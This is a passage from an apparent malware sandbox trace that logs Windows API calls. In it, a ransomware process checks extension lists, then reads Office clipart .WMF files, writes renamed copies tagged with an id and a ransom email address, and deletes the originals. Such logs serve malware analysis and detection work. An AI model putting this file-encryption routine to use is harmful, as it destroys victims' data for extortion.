returned 1 [0055.229] lstrlenW (lpString=".rar") returned 4 [0055.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.229] lstrlenW (lpString=".bz2") returned 4 [0055.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.229] lstrlenW (lpString=".7z") returned 3 [0055.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0055.229] lstrlenW (lpString=".dbf") returned 4 [0055.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0055.229] lstrlenW (lpString=".1cd") returned 4 [0055.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0055.229] lstrlenW (lpString=".jpg") returned 4 [0055.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0055.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0055.230] lstrlenW (lpString=".doc") returned 4 [0055.230] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.230] lstrlenW (lpString=".docx") returned 5 [0055.230] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.230] lstrlenW (lpString=".pdf") returned 4 [0055.230] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.230] lstrlenW (lpString=".xls") returned 4 [0055.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.230] lstrlenW (lpString=".xlsx") returned 5 [0055.230] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.230] lstrlenW (lpString=".ppt") returned 4 [0055.230] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0055.230] lstrlenW (lpString=".zip") returned 4 [0055.230] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.230] lstrlenW (lpString=".rar") returned 4 [0055.230] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.230] lstrlenW (lpString=".bz2") returned 4 [0055.230] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.230] lstrlenW (lpString=".7z") returned 3 [0055.230] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0055.230] lstrlenW (lpString=".dbf") returned 4 [0055.230] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0055.230] lstrlenW (lpString=".1cd") returned 4 [0055.230] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0055.230] lstrlenW (lpString=".jpg") returned 4 [0055.230] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.230] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0055.231] lstrlenW (lpString="AN01044_.WMF") returned 12 [0055.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0055.231] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=1596) returned 1 [0055.231] CloseHandle (hObject=0x1d0) returned 1 [0055.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 0x20 [0055.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0055.231] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.231] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.232] GetLastError () returned 0x0 [0055.232] ReadFile (in: hFile=0x1d0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x63c, lpOverlapped=0x0) returned 1 [0055.235] WriteFile (in: hFile=0x214, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x640, lpOverlapped=0x0) returned 1 [0055.236] ReadFile (in: hFile=0x1d0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0055.236] WriteFile (in: hFile=0x214, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.236] SetEndOfFile (hFile=0x214) returned 1 [0055.236] CloseHandle (hObject=0x214) returned 1 [0055.236] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.236] SetEndOfFile (hFile=0x1d0) returned 1 [0055.237] CloseHandle (hObject=0x1d0) returned 1 [0055.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.237] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0055.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0055.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0055.237] lstrlenW (lpString=".doc") returned 4 [0055.237] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.237] lstrlenW (lpString=".docx") returned 5 [0055.237] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.237] lstrlenW (lpString=".pdf") returned 4 [0055.237] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.237] lstrlenW (lpString=".xls") returned 4 [0055.237] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.237] lstrlenW (lpString=".xlsx") returned 5 [0055.237] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.237] lstrlenW (lpString=".ppt") returned 4 [0055.237] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0055.238] lstrlenW (lpString=".zip") returned 4 [0055.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.238] lstrlenW (lpString=".rar") returned 4 [0055.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.238] lstrlenW (lpString=".bz2") returned 4 [0055.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.238] lstrlenW (lpString=".7z") returned 3 [0055.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0055.238] lstrlenW (lpString=".dbf") returned 4 [0055.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0055.238] lstrlenW (lpString=".1cd") returned 4 [0055.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0055.238] lstrlenW (lpString=".jpg") returned 4 [0055.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0055.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0055.238] lstrlenW (lpString=".doc") returned 4 [0055.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.238] lstrlenW (lpString=".docx") returned 5 [0055.238] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.238] lstrlenW (lpString=".pdf") returned 4 [0055.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.238] lstrlenW (lpString=".xls") returned 4 [0055.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.238] lstrlenW (lpString=".xlsx") returned 5 [0055.238] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.238] lstrlenW (lpString=".ppt") returned 4 [0055.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0055.239] lstrlenW (lpString=".zip") returned 4 [0055.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.239] lstrlenW (lpString=".rar") returned 4 [0055.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.239] lstrlenW (lpString=".bz2") returned 4 [0055.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.239] lstrlenW (lpString=".7z") returned 3 [0055.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0055.239] lstrlenW (lpString=".dbf") returned 4 [0055.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0055.239] lstrlenW (lpString=".1cd") returned 4 [0055.239] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0055.239] lstrlenW (lpString=".jpg") returned 4 [0055.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.239] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0055.239] lstrlenW (lpString="AN01060_.WMF") returned 12 [0055.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0055.284] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=7968) returned 1 [0055.284] CloseHandle (hObject=0x230) returned 1 [0055.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 0x20 [0055.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0055.284] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.284] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0055.285] GetLastError () returned 0x0 [0055.285] ReadFile (in: hFile=0x230, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x1f20, lpOverlapped=0x0) returned 1 [0055.287] WriteFile (in: hFile=0x1cc, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x1f30, lpOverlapped=0x0) returned 1 [0055.288] ReadFile (in: hFile=0x230, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0055.288] WriteFile (in: hFile=0x1cc, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.288] SetEndOfFile (hFile=0x1cc) returned 1 [0055.288] CloseHandle (hObject=0x1cc) returned 1 [0055.288] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.288] SetEndOfFile (hFile=0x230) returned 1 [0055.289] CloseHandle (hObject=0x230) returned 1 [0055.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0055.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0055.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0055.289] lstrlenW (lpString=".doc") returned 4 [0055.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.289] lstrlenW (lpString=".docx") returned 5 [0055.290] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.290] lstrlenW (lpString=".pdf") returned 4 [0055.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.290] lstrlenW (lpString=".xls") returned 4 [0055.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.290] lstrlenW (lpString=".xlsx") returned 5 [0055.290] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.290] lstrlenW (lpString=".ppt") returned 4 [0055.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0055.290] lstrlenW (lpString=".zip") returned 4 [0055.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.290] lstrlenW (lpString=".rar") returned 4 [0055.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.290] lstrlenW (lpString=".bz2") returned 4 [0055.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.290] lstrlenW (lpString=".7z") returned 3 [0055.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0055.290] lstrlenW (lpString=".dbf") returned 4 [0055.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0055.290] lstrlenW (lpString=".1cd") returned 4 [0055.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0055.290] lstrlenW (lpString=".jpg") returned 4 [0055.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0055.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0055.290] lstrlenW (lpString=".doc") returned 4 [0055.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.290] lstrlenW (lpString=".docx") returned 5 [0055.290] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.290] lstrlenW (lpString=".pdf") returned 4 [0055.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.291] lstrlenW (lpString=".xls") returned 4 [0055.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.291] lstrlenW (lpString=".xlsx") returned 5 [0055.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.291] lstrlenW (lpString=".ppt") returned 4 [0055.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0055.291] lstrlenW (lpString=".zip") returned 4 [0055.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.291] lstrlenW (lpString=".rar") returned 4 [0055.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.291] lstrlenW (lpString=".bz2") returned 4 [0055.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.291] lstrlenW (lpString=".7z") returned 3 [0055.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0055.291] lstrlenW (lpString=".dbf") returned 4 [0055.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0055.291] lstrlenW (lpString=".1cd") returned 4 [0055.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0055.291] lstrlenW (lpString=".jpg") returned 4 [0055.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.291] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0055.291] lstrlenW (lpString="AN01084_.WMF") returned 12 [0055.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0055.292] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=1832) returned 1 [0055.292] CloseHandle (hObject=0x230) returned 1 [0055.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 0x20 [0055.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0055.292] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.292] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0055.292] GetLastError () returned 0x0 [0055.292] ReadFile (in: hFile=0x230, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x728, lpOverlapped=0x0) returned 1 [0055.377] WriteFile (in: hFile=0x1cc, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x730, lpOverlapped=0x0) returned 1 [0055.379] ReadFile (in: hFile=0x230, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0055.379] WriteFile (in: hFile=0x1cc, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.379] SetEndOfFile (hFile=0x1cc) returned 1 [0055.521] CloseHandle (hObject=0x1cc) returned 1 [0055.521] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.521] SetEndOfFile (hFile=0x230) returned 1 [0055.522] CloseHandle (hObject=0x230) returned 1 [0055.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.522] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0055.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0055.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0055.853] lstrlenW (lpString=".doc") returned 4 [0055.853] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.853] lstrlenW (lpString=".docx") returned 5 [0055.853] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.853] lstrlenW (lpString=".pdf") returned 4 [0055.853] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.853] lstrlenW (lpString=".xls") returned 4 [0055.853] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.854] lstrlenW (lpString=".xlsx") returned 5 [0055.854] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.854] lstrlenW (lpString=".ppt") returned 4 [0055.854] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0055.854] lstrlenW (lpString=".zip") returned 4 [0055.854] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.854] lstrlenW (lpString=".rar") returned 4 [0055.854] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.854] lstrlenW (lpString=".bz2") returned 4 [0055.854] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.854] lstrlenW (lpString=".7z") returned 3 [0055.854] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0055.854] lstrlenW (lpString=".dbf") returned 4 [0055.854] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0055.854] lstrlenW (lpString=".1cd") returned 4 [0055.854] lstrcmpiW 